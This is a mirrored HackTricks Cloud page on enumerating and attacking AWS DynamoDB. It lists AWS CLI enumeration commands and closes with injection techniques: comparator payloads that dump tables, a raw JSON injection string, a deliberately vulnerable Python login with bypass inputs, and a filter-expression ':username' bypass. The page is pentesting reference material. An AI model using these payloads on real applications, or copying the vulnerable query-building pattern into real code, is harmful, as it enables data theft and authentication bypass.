mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-26 12:51:33 -08:00
207 lines
9.7 KiB
Markdown
207 lines
9.7 KiB
Markdown
# AWS - DynamoDB Enum
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## DynamoDB
|
|
|
|
### Basic Information
|
|
|
|
Amazon DynamoDB is presented by AWS as a **fully managed, serverless, key-value NoSQL database**, tailored for powering high-performance applications regardless of their size. The service ensures robust features including inherent security measures, uninterrupted backups, automated replication across multiple regions, integrated in-memory caching, and convenient data export utilities.
|
|
|
|
In the context of DynamoDB, instead of establishing a traditional database, **tables are created**. Each table mandates the specification of a **partition key** as an integral component of the **table's primary key**. This partition key, essentially a **hash value**, plays a critical role in both the retrieval of items and the distribution of data across various hosts. This distribution is pivotal for maintaining both scalability and availability of the database. Additionally, there's an option to incorporate a **sort key** to further refine data organization.
|
|
|
|
### Encryption
|
|
|
|
By default, DynamoDB uses a KMS key that \*\*belongs to Amazon DynamoDB,\*\*not even the AWS managed key that at least belongs to your account.
|
|
|
|
<figure><img src="https://lh4.googleusercontent.com/JjtNS7aA-_GRMgZb4v93jWEQJi6DQdUPq0FEpzZPdeyCeNoG05p0NJiV9Zs-ULs_-Tfjmx0W1ZgsE2Ui2ljo7D-1a87Xny-gpLVQO0XmXdFoph9ci1RepbVNwaCe9oPruEZSEDxGTxF5dIv6pW1WpT6kWA=s2048" alt=""><figcaption></figcaption></figure>
|
|
|
|
### Backups & Export to S3
|
|
|
|
It's possible to **schedule** the generation of **table backups** or create them on **demand**. Moreover, it's also possible to enable **Point-in-time recovery (PITR) for a table.** Point-in-time recovery provides continuous **backups** of your DynamoDB data for **35 days** to help you protect against accidental write or delete operations.
|
|
|
|
It's also possible to export **the data of a table to S3**, but the table needs to have **PITR enabled**.
|
|
|
|
### GUI
|
|
|
|
There is a GUI for local Dynamo services like [DynamoDB Local](https://aws.amazon.com/blogs/aws/dynamodb-local-for-desktop-development/), [dynalite](https://github.com/mhart/dynalite), [localstack](https://github.com/localstack/localstack), etc, that could be useful: [https://github.com/aaronshaf/dynamodb-admin](https://github.com/aaronshaf/dynamodb-admin)
|
|
|
|
### Enumeration
|
|
|
|
```bash
|
|
# Tables
|
|
aws dynamodb list-tables
|
|
aws dynamodb describe-table --table-name <t_name> #Get metadata info
|
|
## The primary key and sort key will appear inside the KeySchema field
|
|
|
|
#Check if point in time recovery is enabled
|
|
aws dynamodb describe-continuous-backups \
|
|
--table-name tablename
|
|
|
|
# Backups
|
|
aws dynamodb list-backups
|
|
aws dynamodb describe-backup --backup-arn <arn>
|
|
aws dynamodb describe-continuous-backups --table-name <t_name>
|
|
|
|
# Global tables
|
|
aws dynamodb list-global-tables
|
|
aws dynamodb describe-global-table --global-table-name <name>
|
|
|
|
# Exports
|
|
aws dynamodb list-exports
|
|
aws dynamodb describe-export --export-arn <arn>
|
|
|
|
# Misc
|
|
aws dynamodb describe-endpoints #Dynamodb endpoints
|
|
```
|
|
|
|
### Unauthenticated Access
|
|
|
|
{% content-ref url="../aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md" %}
|
|
[aws-dynamodb-unauthenticated-access.md](../aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Privesc
|
|
|
|
{% content-ref url="../aws-privilege-escalation/aws-dynamodb-privesc.md" %}
|
|
[aws-dynamodb-privesc.md](../aws-privilege-escalation/aws-dynamodb-privesc.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Post Exploitation
|
|
|
|
{% content-ref url="../aws-post-exploitation/aws-dynamodb-post-exploitation.md" %}
|
|
[aws-dynamodb-post-exploitation.md](../aws-post-exploitation/aws-dynamodb-post-exploitation.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Persistence
|
|
|
|
{% content-ref url="../aws-persistence/aws-dynamodb-persistence.md" %}
|
|
[aws-dynamodb-persistence.md](../aws-persistence/aws-dynamodb-persistence.md)
|
|
{% endcontent-ref %}
|
|
|
|
## DynamoDB Injection
|
|
|
|
### SQL Injection
|
|
|
|
There are ways to access DynamoDB data with **SQL syntax**, therefore, typical **SQL injections are also possible**.
|
|
|
|
{% embed url="https://book.hacktricks.xyz/pentesting-web/sql-injection" %}
|
|
|
|
### NoSQL Injection
|
|
|
|
In DynamoDB different **conditions** can be used to retrieve data, like in a common NoSQL Injection if it's possible to **chain more conditions to retrieve** data you could obtain hidden data (or dump the whole table).\
|
|
You can find here the conditions supported by DynamoDB: [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API\_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)
|
|
|
|
Note that **different conditions** are supported if the data is being accessed via **`query`** or via **`scan`**.
|
|
|
|
{% hint style="info" %}
|
|
Actually, **Query** actions need to specify the **condition "EQ" (equals)** in the **primary** key to works, making it much **less prone to NoSQL injections** (and also making the operation very limited).
|
|
{% endhint %}
|
|
|
|
If you can **change the comparison** performed or add new ones, you could retrieve more data.
|
|
|
|
```bash
|
|
# Comparators to dump the database
|
|
"NE": "a123" #Get everything that doesn't equal "a123"
|
|
"NOT_CONTAINS": "a123" #What you think
|
|
"GT": " " #All strings are greater than a space
|
|
```
|
|
|
|
{% embed url="https://book.hacktricks.xyz/pentesting-web/nosql-injection" %}
|
|
|
|
### Raw Json injection
|
|
|
|
{% hint style="danger" %}
|
|
**This vulnerability is based on dynamodb Scan Filter which is now deprecated!**
|
|
{% endhint %}
|
|
|
|
**DynamoDB** accepts **Json** objects to **search** for data inside the DB. If you find that you can write in the json object sent to search, you could make the DB dump, all the contents.
|
|
|
|
For example, injecting in a request like:
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
'{"Id": {"ComparisonOperator": "EQ","AttributeValueList": [{"N": "' + user_input + '"}]}}'
|
|
```
|
|
{% endcode %}
|
|
|
|
an attacker could inject something like:
|
|
|
|
`1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0`
|
|
|
|
fix the "EQ" condition searching for the ID 1000 and then looking for all the data with a Id string greater and 0, which is all.
|
|
|
|
Another **vulnerable example using a login** could be:
|
|
|
|
```python
|
|
scan_filter = """{
|
|
"username": {
|
|
"ComparisonOperator": "EQ",
|
|
"AttributeValueList": [{"S": "%s"}]
|
|
},
|
|
"password": {
|
|
"ComparisonOperator": "EQ",
|
|
"AttributeValueList": [{"S": "%s"}]
|
|
}
|
|
}
|
|
""" % (user_data['username'], user_data['password'])
|
|
|
|
dynamodb.scan(TableName="table-name", ScanFilter=json.loads(scan_filter))
|
|
```
|
|
|
|
This would be vulnerable to:
|
|
|
|
```
|
|
username: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
|
|
password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
|
|
```
|
|
|
|
### :property Injection
|
|
|
|
Some SDKs allows to use a string indicating the filtering to be performed like:
|
|
|
|
{% code overflow="wrap" %}
|
|
```java
|
|
new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap)
|
|
```
|
|
{% endcode %}
|
|
|
|
You need to know that searching in DynamoDB for **substituting** an attribute **value** in **filter expressions** while scanning the items, the tokens should **begin** with the **`:`** character. Such tokens will be **replaced** with actual **attribute value at runtime**.
|
|
|
|
Therefore, a login like the previous one can be bypassed with something like:
|
|
|
|
```bash
|
|
:username = :username or :username
|
|
# This will generate the query:
|
|
# :username = :username or :username = :username and Password = :password
|
|
# which is always true
|
|
```
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|